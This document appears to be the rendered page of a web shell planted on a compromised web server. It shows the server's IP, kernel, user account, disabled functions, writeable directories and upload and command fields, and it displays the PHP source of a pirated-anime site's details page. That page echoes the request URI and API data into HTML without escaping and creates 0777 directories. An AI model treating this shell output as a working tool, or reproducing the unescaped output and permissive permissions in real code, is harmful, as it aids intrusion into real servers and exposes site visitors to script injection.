403Webshell
Server IP : 108.170.25.35  /  Your IP : 3.12.34.253
Web Server : Apache/2
System : Linux gains.winzonesoftech.com 4.18.0-513.24.1.el8_9.x86_64 #1 SMP Mon Apr 8 11:23:13 EDT 2024 x86_64
User : softechwinzone ( 1579)
PHP Version : 8.1.28
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/softechwinzone/domains/winzonesoftech.in/public_html/images/gogoanime/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/softechwinzone/domains/winzonesoftech.in/public_html/images/gogoanime/anime-details.php
<?php 
require_once('./php/info.php'); 

$parts = parse_url($_SERVER['REQUEST_URI']); 
$page_url = explode('/', $parts['path']);
$url = $page_url[count($page_url) - 1];

///////////////////////////////////////////////////////////////////////////////
// Define caching settings
$cacheTime = 60 * 60 * 12; // 12 hours for ongoing anime

$cacheTime1 = 60 * 60 * 24 * 7; // 12 hours for ongoing anime

function getCacheFilePath($baseDir, $url) {
    // Generate a hash of the URL
    $hash = md5($url);
    // Use the first two characters of the hash to determine the subdirectory
    $subdir = substr($hash, 0, 2);

    // Construct the directory path
    $dirPath = $baseDir . $subdir . '/';

    // Ensure the directory exists
    if (!file_exists($dirPath)) {
        mkdir($dirPath, 0777, true); // Adjust permissions as necessary
    }

    // Return the full cache file path
    return $dirPath . $hash . '.json';
}

function fetchWithCache($apiUrl) {
  

    // Attempt to use the cache first
    $json = false;
    
    // Fetch from API if no valid cache is found
    if (!$json) {
        $json = file_get_contents($apiUrl);
        $data = json_decode($json, true);
    }

    // Decode JSON from the selected source
    return json_decode($json, true);
}



// Fetch anime details
$fetchDetails = fetchWithCache(
    "$apiLink/getAnime/$url"
);

// Fetch consumet details
$fetchdetailss = fetchWithCache(
    
    "$consumet/anime/gogoanime/info/$url"
   
);


// Fetch episode details using the status from animeDetails
$firstEpisodeId = $fetchDetails['episode_id'][0]['episodeId'];

$anime = fetchWithCache(
    
    "$apiLink/getEpisode/$firstEpisodeId"
    
);

preg_match('/^\s*(.+?),/', trim($fetchdetailss['otherName']), $matches);

$result = $matches[1] ?? "No match found";



$datas = fetchWithCache(
    
    "https://kitsu.io/api/edge/anime/?filter[text]=".urlencode($fetchDetails['name'])."&page[limit]=1"
    
);

$youtubeVideoId = null;

$youtubeVideoId = $datas['data'][0]['attributes']['youtubeVideoId'];

$desc = $datas['data'][0]['attributes']['synopsis'];

$age = $datas['data'][0]['attributes']['ageRatingGuide'] ?? "+16";

$ranked = $datas['data'][0]['attributes']['ratingRank'] ?? "Not ranked yet";

$popularityRank = $datas['data'][0]['attributes']['popularityRank'];

$averageRating = $datas['data'][0]['attributes']['averageRating'];


// Example dynamic variables (replace with actual values from your site)
$animeTitle = "Violet Evergarden";
$pageTitle = "Overview"; // Replace with actual page title

// Define the breadcrumb items
$breadcrumbs = array(
    array(
        "url" => "$base_url",
        "title" => "Home",
        "href" => "Home"
    ),
    array(
        "url" => "$base_url/popular",
        "title" => "Anime",
        "href" => "Anime"
    ),
    array(
        "url" => "$base_url/anime/" .$url ,
        "title" => "watch ".$fetchDetails['name']." online",
        "href" => $fetchDetails['name']
    )
);









?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=5" />
  <link rel="shortcut icon" href="<?=$base_url?>/img/favicon.ico" />
  <title>Watch <?=$fetchDetails['name']?> online on GogoAnime</title>

  <meta name="robots" content="index, follow" />
  <meta name="description" content="Watch <?=$fetchDetails['name']?> English Sub/Dub online for free on GogoAnime. Stream and download <?=$fetchDetails['name']?> English Sub/Dub anime" />
  <meta name="keywords" content="GogoAnime, <?=$fetchDetails['othername']?> GogoAnime, <?=$fetchDetails['name']?> English Sub/Dub, free <?=$fetchDetails['name']?> online, watch <?=$fetchDetails['name']?> online, watch <?=$fetchDetails['name']?> free, download <?=$fetchDetails['name']?> anime, download <?=$fetchDetails['name']?> free">
  <meta itemprop="image" content="<?=$fetchDetails['imageUrl']?>" />

  <meta property="og:site_name" content="<?=$website_name?>" />
  <meta property="og:locale" content="en_US" />
  <meta property="og:type" content="website" />
  <meta property="og:title" content="Watch <?=$fetchDetails['name']?> English Sub/Dub online Free on GogoAnime" />
  <meta property="og:description" content="Watch <?=$fetchDetails['name']?> English Sub/Dub online for free on GogoAnime. Stream and download <?=$fetchDetails['name']?> English Sub/Dub anime">
  <meta property="og:url" content="<?=$base_url?><?php echo $_SERVER['REQUEST_URI'] ?>" />
  <meta property="og:image" content="<?=$fetchDetails['imageUrl']?>" />
  <meta property="og:image:secure_url" content="<?=$fetchDetails['imageUrl']?>" />

  <link rel="canonical" href="<?=$base_url?><?php echo $_SERVER['REQUEST_URI'] ?>" />
  <link rel="alternate" hreflang="en-us" href="<?=$base_url?><?php echo $_SERVER['REQUEST_URI'] ?>" />

  <link rel="stylesheet" type="text/css" href="<?=$base_url?>/css/style.css" defer/>
  <script type="text/javascript" src="<?=$base_url?>/js/libraries/jquery.js"></script>
  <link rel="stylesheet" href="/src/lite-yt-embed.css" defer/>
  <script type="text/javascript" src="/src/lite-yt-embed.js" async ></script>
  <script>
        var base_url = 'https://' + document.domain + '/';
        var base_url_cdn_api = 'https://ajax.gogocdn.net/';
        var api_anclytic = 'https://ajax.gogocdn.net/anclytic-ajax.html';
  </script>
  
  <script type="text/javascript" src="<?=$base_url?>/js/libraries/main.js?v=6.9"></script>
  <?php require_once('./php/advertisments/popup.html'); ?>
  
    
    <style>
        .full-description {
            display: none;
            font-size: 12px;
            color: #fff;
        }
        .show-more {
            color: blue;
            cursor: pointer;
            font-size: 12px;
            color: #fff;
            
        }
        /* Breadcrumb container */
        .breadcrumbs {
            display: flex;
            align-items: center;
            font-size: 14px;
            
        }
        
        /* Breadcrumb item */
        .breadcrumbs li {
            list-style-type: none;
            display: inline-block;

        }
        
        /* Breadcrumb link */
        .breadcrumbs li a {
            color: #1f1f1f;
            text-decoration: none;
            transition: color 0.3s ease;
        }
        
        .breadcrumbs li a:hover {
            color: #004466;
        }
        
        /* Separator between breadcrumbs */
        .breadcrumbs .separator {
            margin: 0 5px;
            color: #000;
        }
        
        /* Current page */
        .breadcrumbs .current {
            color: #333;
            font-weight: bold;
        }

        .anime_name{padding:11px 0 11px 10px;}
        
    </style>
  
</head>

<body>
  <div class="clr"></div>
  <div id="wrapper_inside">
    <div id="wrapper">
      <div id="wrapper_bg">
        <?php require_once('./php/include/header.php'); ?>
        <section class="content">
          <section class="content_left">
            <div class="main_body">
              <div class="anime_name anime_info">
                    <div class="breadcrumbs">
                        <ul>
                            <?php foreach ($breadcrumbs as $key => $breadcrumb) : ?>
                                <li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem">
                                    <a itemprop="item" href="<?= htmlspecialchars($breadcrumb['url']) ?>" title="<?= htmlspecialchars($breadcrumb['title']) ?>">
                                        <span itemprop="name"><?= htmlspecialchars($breadcrumb['href']) ?></span>
                                    </a>
                                    <meta itemprop="position" content="<?= ($key + 1) ?>">
                                </li>
                                <?php if ($key < count($breadcrumbs) - 1) : ?>
                                    <li class="separator">›</li>
                                <?php endif; ?>
                            <?php endforeach; ?>
                        </ul>
                    </div>
              </div>
              <div class="anime_info_body">
                <div class="anime_info_body_bg">
                  <img src="<?=$fetchDetails['imageUrl']?>" alt="anime <?=$fetchDetails['name']?>">
                  <h1><?=$fetchDetails['name']?></h1>
                  <!---<p><a class="bookmark bookmark-manage" href="javascript:void(0)"><i></i>Click to manage book marks</a>
                  </p> --->
                    <div id="descriptionContainer">
                    <p class="type"><span>Plot Summary: </span><?=$desc?></p>
                        <p class="type" id="shortDescription"></p>
                        <p id="fullDescription" class="full-description"></p>
                        <p id="showMoreLess" class="show-more">Show More</p>
                    </div>
                  <p class="type"><span>Type: </span><?=$fetchDetails['type']?></p>
                  <p class="type"><span>Genre: </span> <?php echo implode(', ', $fetchdetailss['genres'])?></p>
                  <p class="type"><span>Ranked: </span><?=$ranked?></p>
                  <p class="type"><span>Popularity: </span><?=$popularityRank?></p>
                  <p class="type"><span>Score: </span><?=number_format($averageRating / 10,2)?></p>
                  <p class="type"><span>Age: </span><?=$age?></p>
                  <p class="type"><span>Released: </span><?=$fetchdetailss['releaseDate']?></p>
                  <p class="type"><span>Episodes: </span><?php echo count($fetchDetails['episode_id'])?></p>
                  <p class="type"><span>Status: </span>
                    <?php if ($fetchdetailss['status'] == 'Completed') {echo "Completed"; }   else  {echo "Ongoing";} ?>
                  </p>
                  <p class="type"><span>Other name: </span><?=$fetchdetailss['otherName']?></p>
                  <br>
                </div>
                <div class="clr"></div>
                <div class="anime_info_episodes">
                  <strong><h2>Watch <?=$fetchDetails['name']?> episodes online</h2></strong>
                  <div class="anime_info_episodes_next">
                  <?=$fetchDetails['episode_info_html']?>

                </div>
                </div>

              </div>
              <div class="anime_video_body" style="padding: 0 20px 20px 20px;" >
                                <input type="hidden" value="<?=$anime['movie_id']?>" id="movie_id" class="movie_id" />
                                <input type="hidden" value="<?=$anime['ep_num']?>" id="default_ep" class="default_ep" />
                                <input type="hidden" value="<?=$anime['alias']?>" id="alias_anime"
                                    class="alias_anime" />
                         <ul id="episode_page">
                             <?=$anime['episode_page']?>
                        </ul>
                   <div class="clr"></div>
                   <div id="load_ep"></div>
                   <div class="clr"></div>
       </div>
       <div class="clr"></div>
    <div class="clr"></div>
<!-- -->
    &nbsp;
    <br>
    <br>
                            
            <div class="clr"></div>
          </section>
          <section class="content_right">
          <div class="headnav_center"></div>
            <div class="clr"></div>
            <div class="main_body">
              <div class="main_body_black">
                <div class="anime_name ongoing">
                  
                  <h2>RECENT RELEASE</h2>
                </div>
                <div class="recent">
                  <!-- begon -->
                  <div id="scrollbar2">
                    <div class="scrollbar">
                      <div class="track">
                        <div class="thumb">
                          <div class="end"></div>
                        </div>
                      </div>
                    </div>
                    <div class="viewport">
                      <div class="overview">
                        <?php require_once('./php/include/recentRelease.php'); ?>
                      </div>
                    </div>
                  </div>
                  <!-- tao thanh cuon 1-->
                </div>
              </div>
            </div>
            <div class="clr"></div>
            <div id="load_ads_2">
              <div id="media.net sticky ad" style="display: inline-block">
              </div>
            </div>
            <style type="text/css">
              #load_ads_2 {
                width: 300px;
              }

              #load_ads_2.sticky {
                position: fixed;
                top: 0;
              }

              #scrollbar2 .viewport {
                height: 1000px !important;
              }
            </style>
            <script>
              var leftamt;
              function scrollFunction() {
                var scamt = (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
                var element = document.getElementById("media.net sticky ad");
                if (scamt > leftamt) {
                  var leftPosition = element.getBoundingClientRect().left;
                  element.className = element.className.replace(/(?:^|\s)fixclass(?!\S)/g, '');
                  element.className += " fixclass";
                  element.style.left = leftPosition + 'px';
                }
                else {
                  element.className = element.className.replace(/(?:^|\s)fixclass(?!\S)/g, '');
                }
              }
              function getElementTopLeft(id) {
                var ele = document.getElementById(id);
                var top = 0;
                var left = 0;
                while (ele.tagName != "BODY") {
                  top += ele.offsetTop;
                  left += ele.offsetLeft;
                  ele = ele.offsetParent;
                }
                return { top: top, left: left };
              }
              function abcd() {
                TopLeft = getElementTopLeft("media.net sticky ad");
                leftamt = TopLeft.top;
                //leftamt -= 10;
              }
              window.onload = abcd;
              window.onscroll = scrollFunction;
            </script>
            <?php require_once('./php/include/sub-category.html'); ?>
          </section>
        </section>
        <div class="clr"></div>
        <footer>
          <div class="menu_bottom">
            <a href="/about-us.html">
              <h3>Abouts us</h3>
            </a>
            <a href="/contact-us.html">
              <h3>Contact us</h3>
            </a>
            <a href="/privacy.html">
              <h3>Privacy</h3>
            </a>
          </div>

        </footer>
      </div>
    </div>
  </div>
  <div id="off_light"></div>
  <div class="clr"></div>
  <div class="mask"></div>
      <script type="text/javascript" src="<?=$base_url?>/js/files/combo.js"></script>
    <!--<script type="text/javascript" src="https://anikatsu.ga/files/js/video.js"></script>-->
  <script type="text/javascript" src="<?=$base_url?>/js/files/jquery.tinyscrollbar.min.js"></script>
  <?php include('./php/include/footer.php'); ?>


  <!---- <script>
    var elm = '.bookmark';
    $(elm).click(function (e) { $(".mask").fadeIn(); $('.login-popup').fadeIn(); e.stopPropagation(); e.preventDefault() });

  </script> ---->

  <script>
    if(document.getElementById('episode_page')){
      var ep_start = $('#episode_page a.active').attr('ep_start');
      var ep_end = $('#episode_page a.active').attr('ep_end');
      var id = $("input#movie_id").val();
      var default_ep = $("input#default_ep").val();
      var alias = $("input#alias_anime").val();
      loadListEpisode('#episode_page a.active',ep_start,ep_end,id,default_ep,alias);
    }
    </script>
    
    
    
  <script>
    if (document.getElementById('scrollbar2')) {
      $('#scrollbar2').tinyscrollbar();
    }
  </script>
  
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit